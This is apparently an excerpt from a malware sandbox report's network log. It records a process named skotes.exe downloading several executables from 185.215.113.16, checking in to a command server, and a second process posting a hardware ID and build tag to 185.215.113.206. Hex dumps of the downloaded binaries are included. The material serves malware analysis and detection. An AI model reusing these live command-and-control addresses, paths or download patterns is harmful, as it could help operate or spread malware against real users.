Dec 18, 2024 15:56:31.157814026 CET	448	IN	Data Raw: da b8 9a 5d 61 a9 62 09 c0 51 e6 22 3e e1 3a 89 1f 05 32 da 0a d0 18 05 ef f5 2b ab 8b 82 70 02 8a 23 5e 23 7c c4 d0 ef 12 ca 88 d8 40 b1 8c 29 8b ef 99 b0 4f 50 ad 80 df 71 e1 cf 48 3d 5f 70 40 61 16 6b 44 7b 36 54 92 46 ff 9c 45 a4 88 b3 69 7a Data Ascii: ]abQ">:2+p#^#\|@)OPqH=_p@akD{6TFEizG`0jUXSaKO0"sZ~"Z(eO*FzV'0+,\|Y@;QcH8O?0W5P:{,&S75U!`EP5DQ>xcW]:
Dec 18, 2024 15:56:31.157826900 CET	1236	IN	Data Raw: 2d 09 72 60 14 69 4d 51 ac 83 38 61 c5 b6 40 18 f7 82 c5 bb b0 60 4a 61 61 69 4a 9b a4 68 b9 8d 83 ca 28 4e ca 15 75 dd fd ac ed c6 7d 11 1e f4 2e ab 22 90 b0 a6 ab e2 7d 20 dd fb 5e 1f 5e 81 6e a3 43 7c cc d7 78 26 b5 9c 81 0d e1 f9 85 c4 54 b0 Data Ascii: -r`iMQ8a@`JaaiJh(Nu}."} ^^nC\|x&TT^Y^xcbd&g~B#am`%oF*q56Q=e:PaX#^@$'/vk,FMjR}lWLvn&_t)f@:'no{q
Dec 18, 2024 15:56:31.157902956 CET	1236	IN	Data Raw: 6b cf 80 c4 47 15 25 9d c4 88 ab f5 e8 2b f0 5f b0 52 54 32 4a 58 39 c8 af 12 3d 34 ad 70 f8 9f 54 63 d7 e0 f6 e3 5d 3f fd 03 26 c9 f2 04 fc 9c 75 d6 6b 7e a4 3f 64 50 85 72 81 a2 4d d6 9f a2 dd 3a 01 e5 30 49 89 c1 56 7f ba d4 11 ad 23 5a 46 0b Data Ascii: kG%+_RT2JX9=4pTc]?&uk~?dPrM:0IV#ZF;W={&9,.q~%-bsC$yIFFly>{Ss!%wOa8r^I['cBi>sbx4-"1dc[cf63
Dec 18, 2024 15:56:31.277899981 CET	1236	IN	Data Raw: c9 10 32 7d 4d c5 64 e0 d8 8e 51 96 ad 84 9d 51 c9 b3 f7 d6 dc 1b 89 81 8a 42 46 82 21 df d7 a5 f2 cc b1 f2 3b b1 6c 3b 9a c8 96 93 6b 6c 89 70 0e 43 69 23 61 49 85 f9 87 66 15 9c c8 b4 3d b0 98 b6 e7 a4 72 2f 2c e7 a8 c2 91 dc b4 e6 fa c2 13 3f Data Ascii: 2}MdQQBF!;l;klpCi#aIf=r/,?:~oOVu=\m/Sp#.0T\/gOgQgj&7yVV!Vo)c%g&(M@AM($mJ(!`R[%nxe=v 0`~/n4[efy\l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.10	49806	185.215.113.16	80	8152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:56:30.806119919 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 18, 2024 15:56:32.180174112 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:56:31 GMT Content-Type: application/octet-stream Content-Length: 2874880 Last-Modified: Wed, 18 Dec 2024 14:25:29 GMT Connection: keep-alive ETag: "6762db59-2bde00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 10 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 4f 00 00 04 00 00 89 96 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(O@@O,@M$a$$ $h@.rsrc$x@.idata $z@epdlxdrm@$<\|@ksjtzbhlO+@.taggant0O"+@
Dec 18, 2024 15:56:32.180289030 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:56:32.180305958 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:56:32.180428028 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:56:32.180440903 CET	1236	IN	Data Raw: 2b 69 c1 7e e5 21 a7 1b 27 2e 66 82 1b e6 02 bd 69 02 3f 23 e6 de fb f2 8d e6 c6 e1 89 62 ce 2d 56 a0 d6 04 66 98 de bc 20 3c f0 40 46 c8 04 0f 3e c6 ee 02 42 56 ff ce 19 e6 0a 6c d3 f7 16 5c 29 ea 22 6b 81 64 ce 02 2d 0e fb ea 91 06 3f 04 68 c7 Data Ascii: +i~!'.fi?#b-Vf <@F>BVl\)"kd-?h%?SUR^)xV).?wh?r\"Az!r2rd"E)5#z>}#NqR;Aa>gh$E3,O&]=j5 $wF_?HiE]\"6pi;<)mH
Dec 18, 2024 15:56:32.180512905 CET	1236	IN	Data Raw: 58 be 04 47 8a d6 ca 1b 2b e7 bf ef 0d 1b 6a 73 36 fe 82 4b 5b c6 37 f4 b4 c5 27 97 5a f6 93 53 f8 40 3e 52 71 45 64 b2 48 39 27 85 9d 3d 3f bf 90 79 3d ae d2 1d a8 b2 74 81 3c fd 3c e8 f4 75 b1 2f 02 a3 f1 55 3e e2 39 57 05 8e 19 46 3f 80 da e5 Data Ascii: XG+js6K[7'ZS@>RqEdH9'=?y=t<<u/U>9WF?L:D+#1.((8m>P>`efiz~(.<SW5!b cyo{1VF\|}hNk4N.A"IrfGS@O\|Co{z
Dec 18, 2024 15:56:32.180581093 CET	776	IN	Data Raw: 2b 31 d7 7e 57 5e 25 ab f1 f0 3c 0c 5b ff 85 fc 57 82 35 83 2a 4f 4f 07 1c 20 8f 0b a6 e6 22 9b 21 c0 29 a1 b2 2e 77 10 9e 62 28 03 ee 23 7b c3 6f cc bc 03 72 fe b2 2e 3b f2 97 07 cc a2 2e 1b 34 06 35 0f fe 4f 1f 88 57 a8 ee 22 58 ee f6 7e 8d 67 Data Ascii: +1~W^%<[W5OO "!).wb(#{or.;.45OW"X~g1KWVO~Wr6g+~W( bf=Fk&t4:>cv>_j5U]~bOE6.zOphZN$z{Wn>4eZ%;.82 wk
Dec 18, 2024 15:56:32.180629969 CET	1236	IN	Data Raw: 8e 3b c4 8a f3 8e be 3a 2b 2a ba 1e 5d 40 77 0b 9e e7 5c 0a bf f5 9f eb a5 00 4f 0a 1e 69 bd 61 2b f4 26 bc 43 05 aa 17 8e 40 09 93 8a af 22 2d 56 2e 35 1c 4a e6 a6 72 d9 99 ad aa 39 20 35 e7 5a fe 08 c3 06 06 c4 bb 5c 46 bf bc 62 7a 37 48 71 23 Data Ascii: ;:+*]@w\Oia+&C@"-V.5Jr9 5Z\Fbz7Hq#wTj"_hj+J >tZ?Xrr,(.bfr39gYWtA.9>DWD5s%k~bbt[j~+(~6)w\Y4S/'q#r
Dec 18, 2024 15:56:32.180641890 CET	1236	IN	Data Raw: 29 22 db 1c a6 0f ff f2 19 62 28 13 ef 23 9d f3 e8 20 9d c2 e5 f7 e6 1c 3a 62 ef 8f 8b 52 09 e5 65 f4 66 1c be ef cb f3 d9 37 15 88 4b 20 53 1b 53 ee 41 bb 57 4e c3 ca cd 4f f8 7e 0a b5 ce bc 57 62 36 5f f1 67 09 f3 89 6e 8a 7a 5a 96 ba 7d 9c 92 Data Ascii: )"b(# :bRef7K SSAWNO~Wb6_gnzZ}==p.ob( =a'9OnbxW(]Z=&kz~1y4Ug(#7feY6#'W)wZOyb]UbW*&36#5YN&BcE^-&v9hR 5
Dec 18, 2024 15:56:32.180649996 CET	1236	IN	Data Raw: 25 aa 6e 9b 57 c2 3e f3 e5 20 d9 f2 5f 46 57 bc 59 22 22 f7 71 20 eb bf 57 f8 82 1d ac ce 48 11 e6 68 22 c1 85 a0 83 da e5 f4 d2 1c b2 ee 16 00 03 16 02 73 71 f7 b2 b8 55 23 20 12 ae f2 a6 10 8b 92 3e 0b f0 6e 45 8f d6 06 7f 10 2c ae 1e 7b 26 08 Data Ascii: %nW> _FWY""q WHh"sqU# >nE,{&` ow4Z#R&5 Gb g(s]&J_D"95NpBbs/Bz5?+OTYk^@ed{"%%W~&%3Z2,Z%'!43
Dec 18, 2024 15:56:32.300132990 CET	1236	IN	Data Raw: 58 8c 4a e5 aa 68 9f d1 b7 de ec 73 8b b6 65 79 e6 ef de ce 19 88 d2 c5 6b 60 47 e8 99 b3 a1 06 e9 40 d4 07 71 8e 13 20 22 49 f3 40 ce 3d e1 78 16 ff 5e a5 38 46 05 8e 82 ef fc c9 fc 51 99 1e e6 49 ef 17 81 b6 23 09 0a 47 4f 7f d4 e9 0f b8 5a 2f Data Ascii: XJhseyk`G@q "I@=x^8FQI#GOZ/2!4m2$DkX06 )J+:U>]CD[>+~K0#83>p2SZnBjJ#/{&."^7pwToUkY&oq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.10	49830	185.215.113.43	80	8152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:56:39.558610916 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 39 33 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016937001&unit=246122658369
Dec 18, 2024 15:56:40.899950027 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:56:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.10	49832	185.215.113.206	80	3108	C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:56:40.240231991 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 18, 2024 15:56:41.582730055 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:56:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 15:56:41.779241085 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBKFHIDHIIJJKECGHCF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 42 4b 46 48 49 44 48 49 49 4a 4a 4b 45 43 47 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 37 39 46 33 31 45 43 46 33 44 33 32 30 38 39 32 35 37 30 30 33 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 4b 46 48 49 44 48 49 49 4a 4a 4b 45 43 47 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 4b 46 48 49 44 48 49 49 4a 4a 4b 45 43 47 48 43 46 2d 2d 0d 0a Data Ascii: ------BFBKFHIDHIIJJKECGHCFContent-Disposition: form-data; name="hwid"C79F31ECF3D32089257003------BFBKFHIDHIIJJKECGHCFContent-Disposition: form-data; name="build"stok------BFBKFHIDHIIJJKECGHCF--
Dec 18, 2024 15:56:42.226619959 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:56:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.10	49834	185.215.113.16	80	8152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:56:41.024993896 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 18, 2024 15:56:42.599104881 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:56:41 GMT Content-Type: application/octet-stream Content-Length: 972800 Last-Modified: Wed, 18 Dec 2024 14:23:24 GMT Connection: keep-alive ETag: "6762dadc-ed800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 cd da 62 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 28 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELbg"(w@0c@@@d\|@lu4@.text `.rdata@@.datalpH@.rsrcl@n@@.relocuvb@B
Dec 18, 2024 15:56:42.599113941 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Dec 18, 2024 15:56:42.599128962 CET	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Dec 18, 2024 15:56:42.599138021 CET	1236	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Dec 18, 2024 15:56:42.599144936 CET	1236	IN	Data Raw: 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7 Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
Dec 18, 2024 15:56:42.599153996 CET	1236	IN	Data Raw: 00 83 f8 12 0f 8d e0 04 04 00 83 e8 04 83 f8 0a 77 94 ff 24 85 85 27 40 00 6a 7f 58 66 3b d8 0f 84 c2 06 04 00 8b 19 33 c0 66 85 c0 74 1c 8b 45 90 40 89 45 90 8b 1c 81 0f b7 43 08 66 3b 85 50 ff ff ff 75 e4 e9 9d 06 04 00 83 3b 05 75 df 8b 04 91 Data Ascii: w$'@jXf;3ftE@ECf;Pu;u3f9X'ULUf9Y]79^99L99!:9#, rU]
Dec 18, 2024 15:56:42.599162102 CET	1236	IN	Data Raw: 85 79 02 04 00 38 5f 08 75 1c 8b 47 04 6a 08 50 8b 70 04 e8 c8 d5 01 00 59 59 89 77 04 88 5f 09 ff 0f 5f 5e 5b c3 b3 01 eb f3 55 8b ec 56 8b f1 80 7e 09 00 0f 85 5f 02 04 00 6a 08 e8 ad d5 01 00 59 8b 4d 08 8b 09 89 08 8b 4e 04 89 48 04 89 46 04 Data Ascii: y8_uGjPpYYw__^[UV~_jYMNHF^]UQSV3W8^?8^u7~G0EtO ,O$j8WIEYYF^_^[UWVj8)YuON0w^_]UVuWO
Dec 18, 2024 15:56:42.599170923 CET	1236	IN	Data Raw: a3 88 13 4d 00 ff d6 57 ff 35 8c 13 4d 00 ff d6 5f 5e c3 55 8b ec 83 ec 40 a1 58 13 4d 00 56 33 f6 a3 04 19 4d 00 6a 0f c7 45 c4 30 00 00 00 c7 45 c8 2b 00 00 00 89 75 d0 c7 45 d4 1e 00 00 00 89 45 d8 89 75 e0 ff 15 3c c7 49 00 89 45 e4 8b 45 10 Data Ascii: MW5M_^U@XMV3MjE0E+uEEu<IEEEEEEPuEIE}A0IhIfM IMEPEE;Ijjj!jjIh5M\M4IPj5\MI5`M^UVW
Dec 18, 2024 15:56:42.599179983 CET	1236	IN	Data Raw: cc 00 00 00 2d 8f 00 00 00 0f 84 d8 fc 03 00 48 83 e8 01 0f 84 ba fc 03 00 2d ff 01 00 00 0f 84 94 fc 03 00 2d ef 00 00 00 0f 84 8f 00 00 00 3b 3d 28 25 4d 00 0f 84 58 fc 03 00 ff 75 0c ff 75 08 57 56 ff 15 08 c7 49 00 5f 5e 5b 8b e5 5d c3 85 c0 Data Ascii: -H--;=(%MXuuWVI_^[]tt%jVIM73jhjV$IhI I=M(%MuIMuQQVMjIU<SVWj,EE0jP
Dec 18, 2024 15:56:42.599677086 CET	1236	IN	Data Raw: 4d 00 ff 53 56 57 33 db c7 05 94 19 4d 00 01 01 01 01 68 58 cb 49 00 89 1d 90 19 4d 00 66 89 1d 98 19 4d 00 c6 05 9a 19 4d 00 01 c7 05 9c 19 4d 00 09 00 00 00 89 1d a8 19 4d 00 e8 0a 66 00 00 68 3c cb 49 00 b9 bc 19 4d 00 e8 fb 65 00 00 b9 cc 19 Data Ascii: MSVW3MhXIMfMMMMfh<IMeMrMrMrM4MMMMMMMMj_MMMMMMMMM M$M0Mrud
Dec 18, 2024 15:56:42.638689041 CET	1236	IN	Data Raw: 53 52 51 ff 15 18 c0 49 00 85 c0 75 4f 8b 45 0c 57 8d 3c 00 8d 45 fc 89 7d fc 50 56 53 53 ff 75 08 ff 75 f8 ff 15 20 c0 49 00 85 c0 75 15 8b 45 fc d1 e8 89 45 fc 3b 45 0c 73 18 33 c9 66 89 0c 46 b3 01 ff 75 f8 ff 15 1c c0 49 00 8a c3 5f 5e 5b c9 Data Ascii: SRQIuOEW<E}PVSSuu IuEE;Es3fFuI_^[3fD72V\|M]8MW3=MZ=@M M@I95(Mv"$Mj4$MYY<F;5(Mr5$M=(MYMM<I5M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.10	49850	185.215.113.43	80	8152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:56:47.070501089 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 39 33 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016938001&unit=246122658369
Dec 18, 2024 15:56:48.132081032 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:56:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.10	49856	185.215.113.16	80	8152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:56:48.254965067 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 18, 2024 15:56:49.591871977 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:56:48 GMT Content-Type: application/octet-stream Content-Length: 1809920 Last-Modified: Wed, 18 Dec 2024 14:23:51 GMT Connection: keep-alive ETag: "6762daf7-1b9e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 48 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 48 00 00 04 00 00 92 28 1c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ H `@ `H(`Ui`D @ @.rsrcD`2@.idata 6@ ,8@yxtglqzl@,>:@ovmlmqjr Hx@.taggant@ H"\|@
Dec 18, 2024 15:56:49.591917992 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:56:49.591924906 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:56:49.592061996 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:56:49.592068911 CET	896	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:56:49.592082024 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:56:49.592209101 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:56:49.592216015 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: . Y&U3M$@4FH9-QARi07Q.(WD+#%VFI#wp8{J\|N-O21W}
